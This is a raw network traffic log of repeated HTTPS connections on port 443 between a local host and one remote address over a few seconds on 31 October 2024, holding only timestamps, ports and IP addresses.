Oct 31, 2024 17:27:39.642787933 CET	443	63056	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.709846973 CET	443	63058	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.710580111 CET	63058	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.710608959 CET	443	63058	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.711078882 CET	63058	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.711087942 CET	443	63058	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.720506907 CET	443	63059	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.721048117 CET	63059	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.721076965 CET	443	63059	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.721450090 CET	63059	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.721455097 CET	443	63059	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.740570068 CET	443	63057	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.741446018 CET	443	63057	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.741559982 CET	63057	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.741686106 CET	63057	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.741699934 CET	443	63057	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.741758108 CET	63057	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.741764069 CET	443	63057	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.745569944 CET	63061	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.745680094 CET	443	63061	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.745776892 CET	63061	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.745912075 CET	63061	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.745944977 CET	443	63061	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.787137985 CET	443	63056	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.787214041 CET	443	63056	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.787350893 CET	63056	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.787691116 CET	63056	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.787714958 CET	443	63056	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.787728071 CET	63056	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.787734985 CET	443	63056	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.791121006 CET	63062	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.791162968 CET	443	63062	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.791256905 CET	63062	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.791399956 CET	63062	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.791415930 CET	443	63062	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.842941046 CET	443	63058	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.843013048 CET	443	63058	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.843151093 CET	63058	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.843645096 CET	63058	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.843663931 CET	443	63058	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.843684912 CET	63058	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.843689919 CET	443	63058	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.847206116 CET	63063	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.847297907 CET	443	63063	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.847388983 CET	63063	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.847553015 CET	63063	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.847583055 CET	443	63063	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.852973938 CET	443	63059	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.853045940 CET	443	63059	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.853132010 CET	63059	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.853409052 CET	63059	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.853425026 CET	443	63059	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.853455067 CET	63059	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.853461027 CET	443	63059	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.855907917 CET	63064	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.856003046 CET	443	63064	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.856096029 CET	63064	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.856225014 CET	63064	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.856254101 CET	443	63064	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.347009897 CET	443	63060	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.347618103 CET	63060	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.347646952 CET	443	63060	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.348133087 CET	63060	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.348138094 CET	443	63060	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.478074074 CET	443	63061	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.478615999 CET	63061	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.478693962 CET	443	63061	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.479116917 CET	63061	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.479135036 CET	443	63061	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.480345964 CET	443	63060	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.480501890 CET	443	63060	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.480555058 CET	63060	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.480627060 CET	63060	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.480645895 CET	443	63060	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.480657101 CET	63060	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.480662107 CET	443	63060	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.483885050 CET	63065	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.483930111 CET	443	63065	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.483995914 CET	63065	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.484139919 CET	63065	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.484153032 CET	443	63065	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.534115076 CET	443	63062	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.534847975 CET	63062	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.534863949 CET	443	63062	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.535353899 CET	63062	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.535358906 CET	443	63062	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.600380898 CET	443	63063	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.601030111 CET	63063	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.601113081 CET	443	63063	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.601617098 CET	63063	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.601634026 CET	443	63063	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.602730036 CET	443	63064	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.603008986 CET	63064	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.603035927 CET	443	63064	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.603338003 CET	63064	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.603346109 CET	443	63064	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.606723070 CET	443	63061	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.606806040 CET	443	63061	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.606889963 CET	63061	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.607014894 CET	63061	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.607050896 CET	443	63061	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.607076883 CET	63061	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.607091904 CET	443	63061	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.609987974 CET	63066	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.610028028 CET	443	63066	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.610111952 CET	63066	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.610276937 CET	63066	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.610287905 CET	443	63066	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.664236069 CET	443	63062	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.664318085 CET	443	63062	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.664375067 CET	443	63062	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.664377928 CET	63062	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.664427042 CET	63062	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.664711952 CET	63062	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.664733887 CET	443	63062	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.664745092 CET	63062	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.664751053 CET	443	63062	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.667854071 CET	63067	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.667892933 CET	443	63067	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.667989016 CET	63067	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.668155909 CET	63067	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.668168068 CET	443	63067	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.732430935 CET	443	63063	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.732507944 CET	443	63063	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.732577085 CET	63063	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.732955933 CET	63063	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.732986927 CET	443	63063	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.733012915 CET	63063	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.733025074 CET	443	63063	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.733745098 CET	443	63064	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.733791113 CET	443	63064	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.733844042 CET	63064	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.733846903 CET	443	63064	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.733954906 CET	63064	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.734162092 CET	63064	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.734179974 CET	443	63064	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.734190941 CET	63064	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.734199047 CET	443	63064	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.736974955 CET	63068	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.737011909 CET	443	63068	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.737076044 CET	63068	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.737406015 CET	63068	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.737421036 CET	443	63068	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.737963915 CET	63069	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.738010883 CET	443	63069	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:40.738075018 CET	63069	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.738172054 CET	63069	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:40.738185883 CET	443	63069	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.443764925 CET	443	63066	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.444587946 CET	63066	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.444623947 CET	443	63066	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.445123911 CET	63066	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.445133924 CET	443	63066	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.445955038 CET	443	63065	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.446404934 CET	63065	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.446434021 CET	443	63065	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.446738005 CET	63065	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.446743965 CET	443	63065	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.465877056 CET	443	63067	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.466319084 CET	63067	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.466331959 CET	443	63067	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.466650963 CET	63067	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.466654062 CET	443	63067	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.481726885 CET	443	63069	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.482124090 CET	63069	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.482145071 CET	443	63069	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.482538939 CET	63069	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.482543945 CET	443	63069	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.560368061 CET	443	63068	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.560950041 CET	63068	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.560975075 CET	443	63068	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.561424971 CET	63068	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.561429977 CET	443	63068	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.578210115 CET	443	63065	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.578285933 CET	443	63065	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.578346014 CET	63065	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.578537941 CET	63065	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.578558922 CET	443	63065	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.578571081 CET	63065	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.578576088 CET	443	63065	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.581449986 CET	63070	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.581476927 CET	443	63070	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.581562996 CET	63070	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.581715107 CET	63070	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.581728935 CET	443	63070	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.595266104 CET	443	63066	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.595355988 CET	443	63066	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.595412016 CET	63066	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.595443010 CET	443	63066	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.595464945 CET	443	63066	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.595515966 CET	63066	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.595596075 CET	63066	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.595613956 CET	443	63066	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.595626116 CET	63066	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.595632076 CET	443	63066	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.597920895 CET	63071	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.597960949 CET	443	63071	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.598030090 CET	63071	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.598169088 CET	63071	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.598181963 CET	443	63071	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.603329897 CET	443	63067	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.603396893 CET	443	63067	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.603444099 CET	63067	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.603552103 CET	63067	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.603565931 CET	443	63067	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.603580952 CET	63067	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.603586912 CET	443	63067	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.605612993 CET	63072	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.605637074 CET	443	63072	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.605710030 CET	63072	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.605834961 CET	63072	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.605849028 CET	443	63072	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.613106966 CET	443	63069	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.613817930 CET	443	63069	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.613877058 CET	63069	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.613914013 CET	63069	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.613922119 CET	443	63069	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.613949060 CET	63069	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.613954067 CET	443	63069	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.615858078 CET	63073	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.615892887 CET	443	63073	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.615969896 CET	63073	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.616137981 CET	63073	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.616148949 CET	443	63073	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.734630108 CET	443	63068	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.734702110 CET	443	63068	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.734766960 CET	63068	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.735059977 CET	63068	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.735085964 CET	443	63068	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.735096931 CET	63068	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.735102892 CET	443	63068	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.738280058 CET	63074	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.738307953 CET	443	63074	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:41.738401890 CET	63074	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.738570929 CET	63074	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:41.738588095 CET	443	63074	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.309731007 CET	443	63070	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.310256004 CET	63070	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.310275078 CET	443	63070	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.310745955 CET	63070	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.310751915 CET	443	63070	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.336055040 CET	443	63072	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.336539030 CET	63072	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.336601019 CET	443	63072	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.336997986 CET	63072	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.337013006 CET	443	63072	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.350544930 CET	443	63071	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.350985050 CET	63071	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.351011038 CET	443	63071	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.351648092 CET	63071	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.351654053 CET	443	63071	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.377547979 CET	443	63073	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.377918005 CET	63073	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.377939939 CET	443	63073	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.378340006 CET	63073	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.378345013 CET	443	63073	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.439876080 CET	443	63070	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.439920902 CET	443	63070	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.439996958 CET	443	63070	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.440001965 CET	63070	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.440052986 CET	63070	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.440291882 CET	63070	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.440313101 CET	443	63070	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.440324068 CET	63070	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.440329075 CET	443	63070	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.443679094 CET	63075	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.443718910 CET	443	63075	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.443790913 CET	63075	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.443980932 CET	63075	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.443994045 CET	443	63075	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.466459990 CET	443	63072	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.466711998 CET	443	63072	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.466784954 CET	63072	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.466785908 CET	63072	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.466849089 CET	63072	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.466881990 CET	443	63072	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.467878103 CET	443	63074	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.468884945 CET	63074	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.468935013 CET	443	63074	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.469352007 CET	63074	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.469362974 CET	443	63074	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.470891953 CET	63076	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.470933914 CET	443	63076	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.471024990 CET	63076	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.471136093 CET	63076	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.471153021 CET	443	63076	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.484185934 CET	443	63071	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.484344006 CET	443	63071	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.484400988 CET	63071	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.484529018 CET	63071	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.484548092 CET	443	63071	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.484560013 CET	63071	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.484565020 CET	443	63071	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.487899065 CET	63077	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.487940073 CET	443	63077	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.488010883 CET	63077	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.488183975 CET	63077	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.488199949 CET	443	63077	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.534302950 CET	443	63073	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.534326077 CET	443	63073	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.534390926 CET	63073	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.534393072 CET	443	63073	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.534439087 CET	63073	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.534760952 CET	63073	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.534780025 CET	443	63073	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.534792900 CET	63073	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.534799099 CET	443	63073	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.538197994 CET	63078	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.538244963 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.538321018 CET	63078	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.538502932 CET	63078	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.538517952 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.641262054 CET	443	63074	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.641518116 CET	443	63074	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.641592026 CET	63074	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.641627073 CET	63074	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.641627073 CET	63074	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.641645908 CET	443	63074	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.641654968 CET	443	63074	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.644464970 CET	63079	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.644589901 CET	443	63079	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:42.644676924 CET	63079	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.644828081 CET	63079	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:42.644866943 CET	443	63079	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.190088987 CET	443	63075	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.190879107 CET	63075	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.190906048 CET	443	63075	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.191553116 CET	63075	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.191559076 CET	443	63075	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.199388981 CET	443	63076	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.199738979 CET	63076	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.199765921 CET	443	63076	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.200145006 CET	63076	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.200155020 CET	443	63076	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.279908895 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.281001091 CET	63078	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.281016111 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.281486034 CET	63078	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.281491041 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.287800074 CET	443	63077	13.107.246.45	192.168.2.4
